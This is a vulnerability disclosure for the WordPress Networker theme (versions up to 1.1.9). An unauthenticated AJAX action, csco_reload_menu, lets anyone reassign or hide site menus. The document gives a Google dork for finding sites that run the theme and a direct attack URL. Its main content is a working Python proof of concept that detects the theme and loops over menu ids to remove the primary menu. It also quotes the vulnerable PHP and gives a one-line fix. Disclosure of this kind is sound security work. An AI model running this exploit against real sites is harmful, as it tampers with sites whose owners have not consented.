WordPress Networker theme <= 1.1.9 - Improper Access Control Allowing Unauthenticated Modification of Display location of any menu
Exploit Title | WordPress Networker theme <= 1.1.9 - Improper Access Control Allowing Unauthenticated Modification of Display location of any menu |
Exploit Author | Muhammad Zeeshan (Xib3rR4dAr) |
Date | January 26, 2024 |
Theme Link | https://themeforest.net/item/networker-tech-news-wordpress-theme-with-dark-mode/28749988 |
Version | 1.1.9 (latest version at time of vulnerability discovery) |
Tested on | Wordpress 6.4.3 |
Vulnerable Endpoint | /wp-admin/admin-ajax.php?action=csco_reload_menu |
Vulnerable File | networker/inc/mega-menu.php#L86 |
Google Dork | intext:"Designed & Developed by Code Supply Co." |
CVE | Not assigned yet |
Networker is a premium WordPress theme for Tech News Magazaines. During it's source code analysis, an endpoint was found accessible without authentication that allowed to modify display location of any menu e.g. menus can be marked as footer
so they are displayed in footer or can be removed from primary
to completely hide menus from being displayed at top of page.
Vulnerable Endpoint accessible without authentication: /wp-admin/admin-ajax.php?action=csco_reload_menu&menu_id=numeric_menu_id_here
&menu_name=menu-locations%5Bmenu_location_here
%5D&menu_checked=1_or_0
An unauthenticated attacker can modify display location of any menu to hide menus and view hidden menus.
Visiting following URL will unmark menu 2 as primary and wont be displayed on website:
/wp-admin/admin-ajax.php?action=csco_reload_menu&menu_id=2&menu_name=menu-locations%5Bprimary%5D&menu_checked=0
Or execute PoC code with python and specify WordPress URL when asked.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Uncomment to use proxy
proxyDict = {
#"http": "http://127.0.0.1:9090",
#"https": "http://127.0.0.1:9090"
}
wpurl = input("\nWordPress URL: ") # https://shanamigans.com
menu_id = 99999999
menu_location = "invalid"
menu_checked = 1
exploit_url = f"wp-admin/admin-ajax.php"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"
}
url = f"{wpurl}/{exploit_url}"
data = {
"action": "csco_reload_menu",
"menu_id": menu_id,
"menu_name": f"menu-locations[{menu_location}]",
"menu_checked": menu_checked,
}
init_resp = requests.post(
url, data=data, headers=headers, proxies=proxyDict, verify=False
)
networker_theme = 0
if init_resp.status_code == 200:
if init_resp.text == "0":
networker_theme = 1
print("Networker Theme detected")
menu_id = 0
menu_location = "primary"
menu_checked = 0
if networker_theme:
while True:
url = f"{wpurl}/{exploit_url}"
data = {
"action": "csco_reload_menu",
"menu_id": menu_id,
"menu_name": f"menu-locations[{menu_location}]",
"menu_checked": menu_checked,
}
response = requests.post(
url, data=data, headers=headers, proxies=proxyDict, verify=False
)
if response.status_code == 200:
if response.text == "0":
print(f"[*] Menu #{menu_id} returned 0, incrementing menu id by 1")
menu_id += 1
else:
print(f"[!] Menu #{menu_id} returned something.")
print(f"[!] Check {wpurl} now, menu #{menu_id} would be gone. Other Menu ids might also exist but not tested.")
break
else:
print(f"Error: Status Code {response.status_code}. Exiting loop.")
break
... Line 86
add_action( 'wp_ajax_nopriv_csco_reload_menu', array( $this, 'admin_reload_nav_menu' ) );
... Line 218
/**
* Refresh menu item fields
*
* @since 1.0.0
*/
public function admin_reload_nav_menu() {
wp_verify_nonce( null );
$nav_menu_selected_id = isset( $_REQUEST['menu_id'] ) ? (int) $_REQUEST['menu_id'] : 0; // Input var okay.
$menu_name = isset( $_REQUEST['menu_name'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['menu_name'] ) ) : false; // Input var okay.
$menu_checked = isset( $_REQUEST['menu_checked'] ) ? (bool) $_REQUEST['menu_checked'] : false; // Input var okay.
// Get Menu Location.
preg_match( '/^menu-locations\[(.*?)\]/', $menu_name, $matches );
$menu_location = isset( $matches[1] ) ? $matches[1] : false;
if ( is_nav_menu( $nav_menu_selected_id ) && $menu_location ) {
// Load WP Nav Menu.
require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
// Get All Locations.
$menu_locations = get_nav_menu_locations();
// Set|Unset Menu to Locations List.
if ( $menu_checked ) {
$menu_locations[ $menu_location ] = $nav_menu_selected_id;
} else {
if ( isset( $menu_locations[ $menu_location ] ) ) {
unset( $menu_locations[ $menu_location ] );
}
}
// Set Edited Menu Locations.
set_theme_mod( 'nav_menu_locations', $menu_locations );
// Get Nav Menu HTML.
$edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id );
if ( ! is_wp_error( $edit_markup ) ) {
echo (string) $edit_markup; // XSS.
}
}
}
Action csco_reload_menu
is accessible to authenticated as well as unauthenticated users.
Code executed when action is csco_reload_menu
Before exploit
Running exploit
Raw request and response
After exploit (Primary Menu is now hidden)
Remove following from line 86 of wp-content/themes/networker/inc/mega-menu.php
so that action is not accessible without authentication.
add_action( 'wp_ajax_nopriv_csco_reload_menu', array( $this, 'admin_reload_nav_menu' ) );